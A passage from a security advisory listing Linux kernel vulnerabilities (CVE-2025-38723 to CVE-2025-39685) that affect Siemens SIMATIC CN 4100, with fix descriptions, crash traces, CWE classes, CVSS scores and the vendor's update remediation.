String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38723\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: LoongArch: BPF: Fix jump offset calculation in tailcall The extra pass of bpf_int_jit_compile() skips JIT context initialization which essentially skips offset calculation leaving out_offset = -1, so the jmp_offset in emit_bpf_tail_call is calculated by \"#define jmp_offset (out_offset - (cur_offset))\" is a negative number, which is wrong. The final generated assembly are as follow. 54: bgeu $a2, $t1, -8 # 0x0000004c 58: addi.d $a6, $s5, -1 5c: bltz $a6, -16 # 0x0000004c 60: alsl.d $t2, $a2, $a1, 0x3 64: ld.d $t2, $t2, 264 68: beq $t2, $zero, -28 # 0x0000004c Before apply this patch, the follow test case will reveal soft lock issues. cd tools/testing/selftests/bpf/ ./test_progs --allow=tailcalls/tailcall_bpf2bpf_1 dmesg: watchdog: BUG: soft lockup - CPU#2 stuck for 26s! [test_progs:25056]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38724\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: nfsd: handle get_client_locked() failure in nfsd4_setclientid_confirm() Lei Lu recently reported that nfsd4_setclientid_confirm() did not check the return value from get_client_locked(). a SETCLIENTID_CONFIRM could race with a confirmed client expiring and fail to get a reference. That could later lead to a UAF. Fix this by getting a reference early in the case where there is an extant confirmed client. If that fails then treat it as if there were no confirmed client found at all. In the case where the unconfirmed client is expiring, just fail and return the result from get_client_locked().\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-416 Use After Free\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.8\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38725\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: add phy_mask for ax88772 mdio bus Without setting phy_mask for ax88772 mdio bus, current driver may create at most 32 mdio phy devices with phy address range from 0x00 ~ 0x1f. DLink DUB-E100 H/W Ver B1 is such a device. However, only one main phy device will bind to net phy driver. This is creating issue during system suspend/resume since phy_polling_mode() in phy_state_machine() will directly deference member of phydev->drv for non-main phy devices. Then NULL pointer dereference issue will occur. Due to only external phy or internal phy is necessary, add phy_mask for ax88772 mdio bus to workarnoud the issue.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38727\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netlink: avoid infinite retry looping in netlink_unicast() netlink_attachskb() checks for the socket's read memory allocation constraints. Firstly, it has: rmem < READ_ONCE(sk->sk_rcvbuf) to check if the just increased rmem value fits into the socket's receive buffer. If not, it proceeds and tries to wait for the memory under: rmem + skb->truesize > READ_ONCE(sk->sk_rcvbuf) The checks don't cover the case when skb->truesize + sk->sk_rmem_alloc is equal to sk->sk_rcvbuf. Thus the function neither successfully accepts these conditions, nor manages to reschedule the task - and is called in retry loop for indefinite time which is caught as: rcu: INFO: rcu_sched self-detected stall on CPU rcu: 0-....: (25999 ticks this GP) idle=ef2/1/0x4000000000000000 softirq=262269/262269 fqs=6212 (t=26000 jiffies g=230833 q=259957) NMI backtrace for cpu 0 CPU: 0 PID: 22 Comm: kauditd Not tainted 5.10.240 #68 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-4.fc42 04/01/2014 Call Trace: dump_stack lib/dump_stack.c:120 nmi_cpu_backtrace.cold lib/nmi_backtrace.c:105 nmi_trigger_cpumask_backtrace lib/nmi_backtrace.c:62 rcu_dump_cpu_stacks kernel/rcu/tree_stall.h:335 rcu_sched_clock_irq.cold kernel/rcu/tree.c:2590 update_process_times kernel/time/timer.c:1953 tick_sched_handle kernel/time/tick-sched.c:227 tick_sched_timer kernel/time/tick-sched.c:1399 __hrtimer_run_queues kernel/time/hrtimer.c:1652 hrtimer_interrupt kernel/time/hrtimer.c:1717 __sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1113 asm_call_irq_on_stack arch/x86/entry/entry_64.S:808 netlink_attachskb net/netlink/af_netlink.c:1234 netlink_unicast net/netlink/af_netlink.c:1349 kauditd_send_queue kernel/audit.c:776 kauditd_thread kernel/audit.c:897 kthread kernel/kthread.c:328 ret_from_fork arch/x86/entry/entry_64.S:304 Restore the original behavior of the check which commit in Fixes accidentally missed when restructuring the code. Found by Linux Verification Center (linuxtesting.org).\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-835 Loop with Unreachable Exit Condition ('Infinite Loop')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38728\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: smb3: fix for slab out of bounds on mount to ksmbd With KASAN enabled, it is possible to get a slab out of bounds during mount to ksmbd due to missing check in parse_server_interfaces() (see below): BUG: KASAN: slab-out-of-bounds in parse_server_interfaces+0x14ee/0x1880 [cifs] Read of size 4 at addr ffff8881433dba98 by task mount/9827 CPU: 5 UID: 0 PID: 9827 Comm: mount Tainted: G OE 6.16.0-rc2-kasan #2 PREEMPT(voluntary) Tainted: [O]=OOT_MODULE, [E]=UNSIGNED_MODULE Hardware name: Dell Inc. Precision Tower 3620/0MWYPT, BIOS 2.13.1 06/14/2019 Call Trace: dump_stack_lvl+0x9f/0xf0 print_report+0xd1/0x670 __virt_addr_valid+0x22c/0x430 ? parse_server_interfaces+0x14ee/0x1880 [cifs] ? kasan_complete_mode_report_info+0x2a/0x1f0 ? parse_server_interfaces+0x14ee/0x1880 [cifs] kasan_report+0xd6/0x110 parse_server_interfaces+0x14ee/0x1880 [cifs] __asan_report_load_n_noabort+0x13/0x20 parse_server_interfaces+0x14ee/0x1880 [cifs] ? __pfx_parse_server_interfaces+0x10/0x10 [cifs] ? trace_hardirqs_on+0x51/0x60 SMB3_request_interfaces+0x1ad/0x3f0 [cifs] ? __pfx_SMB3_request_interfaces+0x10/0x10 [cifs] ? SMB2_tcon+0x23c/0x15d0 [cifs] smb3_qfs_tcon+0x173/0x2b0 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] ? cifs_get_tcon+0x105d/0x2120 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_get_tcon+0x105d/0x2120 [cifs] ? __pfx_smb3_qfs_tcon+0x10/0x10 [cifs] cifs_mount_get_tcon+0x369/0xb90 [cifs] ? dfs_cache_find+0xe7/0x150 [cifs] dfs_mount_share+0x985/0x2970 [cifs] ? check_path.constprop.0+0x28/0x50 ? save_trace+0x54/0x370 ? __pfx_dfs_mount_share+0x10/0x10 [cifs] ? __lock_acquire+0xb82/0x2ba0 ? __kasan_check_write+0x18/0x20 cifs_mount+0xbc/0x9e0 [cifs] ? __pfx_cifs_mount+0x10/0x10 [cifs] ? do_raw_spin_unlock+0x5d/0x200 ? cifs_setup_cifs_sb+0x29d/0x810 [cifs] cifs_smb3_do_mount+0x263/0x1990 [cifs]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38729\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ALSA: usb-audio: Validate UAC3 power domain descriptors, too UAC3 power domain descriptors need to be verified with its variable bLength for avoiding the unexpected OOB accesses by malicious firmware, too.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38732\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: netfilter: nf_reject: don't leak dst refcount for loopback packets recent patches to add a WARN() when replacing skb dst entry found an old bug: WARNING: include/linux/skbuff.h:1165 skb_dst_check_unset include/linux/skbuff.h:1164 [inline] WARNING: include/linux/skbuff.h:1165 skb_dst_set include/linux/skbuff.h:1210 [inline] WARNING: include/linux/skbuff.h:1165 nf_reject_fill_skb_dst+0x2a4/0x330 net/ipv4/netfilter/nf_reject_ipv4.c:234 [..] Call Trace: nf_send_unreach+0x17b/0x6e0 net/ipv4/netfilter/nf_reject_ipv4.c:325 nft_reject_inet_eval+0x4bc/0x690 net/netfilter/nft_reject_inet.c:27 expr_call_ops_eval net/netfilter/nf_tables_core.c:237 [inline] .. This is because blamed commit forgot about loopback packets. Such packets already have a dst_entry attached, even at PRE_ROUTING stage. Instead of checking hook just check if the skb already has a route attached to it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-911 Improper Update of Reference Count\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.8\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38735\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: gve: prevent ethtool ops after shutdown A crash can occur if an ethtool operation is invoked after shutdown() is called. shutdown() is invoked during system shutdown to stop DMA operations without performing expensive deallocations. It is discouraged to unregister the netdev in this path, so the device may still be visible to userspace and kernel helpers. In gve, shutdown() tears down most internal data structures. If an ethtool operation is dispatched after shutdown(), it will dereference freed or NULL pointers, leading to a kernel panic. While graceful shutdown normally quiesces userspace before invoking the reboot syscall, forced shutdowns (as observed on GCP VMs) can still trigger this path. Fix by calling netif_device_detach() in shutdown(). This marks the device as detached so the ethtool ioctl handler will skip dispatching operations to the driver.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-664 Improper Control of a Resource Through its Lifetime\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-38736\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: net: usb: asix_devices: Fix PHY address mask in MDIO bus initialization Syzbot reported shift-out-of-bounds exception on MDIO bus initialization. The PHY address should be masked to 5 bits (0-31). Without this mask, invalid PHY addresses could be used, potentially causing issues with MDIO bus operations. Fix this by masking the PHY address with 0x1f (31 decimal) to ensure it stays within the valid range.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39673\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: ppp: fix race conditions in ppp_fill_forward_path ppp_fill_forward_path() has two race conditions: 1. The ppp->channels list can change between list_empty() and list_first_entry(), as ppp_lock() is not held. If the only channel is deleted in ppp_disconnect_channel(), list_first_entry() may access an empty head or a freed entry, and trigger a panic. 2. pch->chan can be NULL. When ppp_unregister_channel() is called, pch->chan is set to NULL before pch is removed from ppp->channels. Fix these by using a lockless RCU approach: - Use list_first_or_null_rcu() to safely test and access the first list entry. - Convert list modifications on ppp->channels to their RCU variants and add synchronize_net() after removal. - Check for a NULL pch->chan before dereferencing it.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-362 Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.9\nMEDIUM\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39675\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: drm/amd/display: Add null pointer check in mod_hdcp_hdcp1_create_session() The function mod_hdcp_hdcp1_create_session() calls the function get_first_active_display(), but does not check its return value. The return value is a null pointer if the display list is empty. This will lead to a null pointer dereference. Add a null pointer check for get_first_active_display() and return MOD_HDCP_STATUS_DISPLAY_NOT_FOUND if the function return null. This is similar to the commit c3e9826a2202 (\"drm/amd/display: Add null pointer check for get_first_active_display()\"). (cherry picked from commit 5e43eb3cd731649c4f8b9134f857be62a416c893)\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39676\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: scsi: qla4xxx: Prevent a potential error pointer dereference The qla4xxx_get_ep_fwdb() function is supposed to return NULL on error, but qla4xxx_ep_connect() returns error pointers. Propagating the error pointers will lead to an Oops in the caller, so change the error pointers to NULL.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-394 Unexpected Status Code or Return Value\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.1\nMEDIUM\nCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39681\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: x86/cpu/hygon: Add missing resctrl_cpu_detect() in bsp_init helper Since 923f3a2b48bd (\"x86/resctrl: Query LLC monitoring properties once during boot\") resctrl_cpu_detect() has been moved from common CPU initialization code to the vendor-specific BSP init helper, while Hygon didn't put that call in their code. This triggers a division by zero fault during early booting stage on our machines with X86_FEATURE_CQM* supported, where get_rdt_mon_resources() tries to calculate mon_l3_config with uninitialized boot_cpu_data.x86_cache_occ_scale. Add the missing resctrl_cpu_detect() in the Hygon BSP init helper. [ bp: Massage commit message. ]\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-369 Divide By Zero\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39682\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tls: fix handling of zero-length records on the rx_list Each recvmsg() call must process either - only contiguous DATA records (any number of them) - one non-DATA record If the next record has different type than what has already been processed we break out of the main processing loop. If the record has already been decrypted (which may be the case for TLS 1.3 where we don't know type until decryption) we queue the pending record to the rx_list. Next recvmsg() will pick it up from there. Queuing the skb to rx_list after zero-copy decrypt is not possible, since in that case we decrypted directly to the user space buffer, and we don't have an skb to queue (darg.skb points to the ciphertext skb for access to metadata like length). Only data records are allowed zero-copy, and we break the processing loop after each non-data record. So we should never zero-copy and then find out that the record type has changed. The corner case we missed is when the initial record comes from rx_list, and it's zero length.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7\nHIGH\nCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39683\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: tracing: Limit access to parser->buffer when trace_get_user failed When the length of the string written to set_ftrace_filter exceeds FTRACE_BUFF_MAX, the following KASAN alarm will be triggered: BUG: KASAN: slab-out-of-bounds in strsep+0x18c/0x1b0 Read of size 1 at addr ffff0000d00bd5ba by task ash/165 CPU: 1 UID: 0 PID: 165 Comm: ash Not tainted 6.16.0-g6bcdbd62bd56-dirty Hardware name: linux,dummy-virt (DT) Call trace: show_stack+0x34/0x50 (C) dump_stack_lvl+0xa0/0x158 print_address_description.constprop.0+0x88/0x398 print_report+0xb0/0x280 kasan_report+0xa4/0xf0 __asan_report_load1_noabort+0x20/0x30 strsep+0x18c/0x1b0 ftrace_process_regex.isra.0+0x100/0x2d8 ftrace_regex_release+0x484/0x618 __fput+0x364/0xa58 ____fput+0x28/0x40 task_work_run+0x154/0x278 do_notify_resume+0x1f0/0x220 el0_svc+0xec/0xf0 el0t_64_sync_handler+0xa0/0xe8 el0t_64_sync+0x1ac/0x1b0 The reason is that trace_get_user will fail when processing a string longer than FTRACE_BUFF_MAX, but not set the end of parser->buffer to 0. Then an OOB access will be triggered in ftrace_regex_release-> ftrace_process_regex->strsep->strpbrk. We can solve this problem by limiting access to parser->buffer when trace_get_user failed.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-125 Out-of-bounds Read\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n7.1\nHIGH\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39684\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: Fix use of uninitialized memory in do_insn_ioctl() and do_insnlist_ioctl() syzbot reports a KMSAN kernel-infoleak in `do_insn_ioctl()`. A kernel buffer is allocated to hold `insn->n` samples (each of which is an `unsigned int`). For some instruction types, `insn->n` samples are copied back to user-space, unless an error code is being returned. The problem is that not all the instruction handlers that need to return data to userspace fill in the whole `insn->n` samples, so that there is an information leak. There is a similar syzbot report for `do_insnlist_ioctl()`, although it does not have a reproducer for it at the time of writing. One culprit is `insn_rw_emulate_bits()` which is used as the handler for `INSN_READ` or `INSN_WRITE` instructions for subdevices that do not have a specific handler for that instruction, but do have an `INSN_BITS` handler. For `INSN_READ` it only fills in at most 1 sample, so if `insn->n` is greater than 1, the remaining `insn->n - 1` samples copied to userspace will be uninitialized kernel data. Another culprit is `vm80xx_ai_insn_read()` in the \"vm80xx\" driver. It never returns an error, even if it fails to fill the buffer. Fix it in `do_insn_ioctl()` and `do_insnlist_ioctl()` by making sure that uninitialized parts of the allocated buffer are zeroed before handling each instruction. Thanks to Arnaud Lecomte for their fix to `do_insn_ioctl()`. That fix replaced the call to `kmalloc_array()` with `kcalloc()`, but it is not always necessary to clear the whole buffer.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: CWE-20 Improper Input Validation\n\n\n\nMetrics\n<div class=\"csaf-table csaf-metrics-table\">\n\n\n\n\nCVSS Version\nBase Score\nBase Severity\nVector String\n\n\n\n\n3.1\n5.5\nMEDIUM\nCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H\n\n\n\n</div>\n</div>\n</div>\n<div class=\"csaf-accordion-item\">\n\nCVE-2025-39685\n<div class=\"csaf-accordion-content\">\n\nIn the Linux kernel, the following vulnerability has been resolved: comedi: pcl726: Prevent invalid irq number The reproducer passed in an irq number(0x80008000) that was too large, which triggered the oob. Added an interrupt number check to prevent users from passing in an irq number that was too large. If `it->options[1]` is 31, then `1 << it->options[1]` is still invalid because it shifts a 1-bit into the sign bit (which is UB in C). Possible solutions include reducing the upper bound on the `it->options[1]` value to 30 or lower, or using `1U << it->options[1]`. The old code would just not attempt to request the IRQ if the `options[1]` value were invalid. And it would still configure the device without interrupts even if the call to `request_irq` returned an error. So it would be better to combine this test with the test below.\n\nView CVE Details\n\n\n\nAffected Products\n\nSiemens SIMATIC\n<div class=\"ics-vendor-version-status\">\n<div class=\"ics-vendor\">Vendor:Siemens</div>\n<div class=\"ics-version\">Product Version:SIMATIC CN 4100</div>\n<div class=\"ics-status\">Product Status:known_affected</div>\n</div>\n<div class=\"ics-remediations\">\n\nRemediations\n\nVendor fixUpdate to V5.0 or later versionhttps://support.industry.siemens.com/cs/ww/en/view/109814144/\n</div>\n\nRelevant CWE: 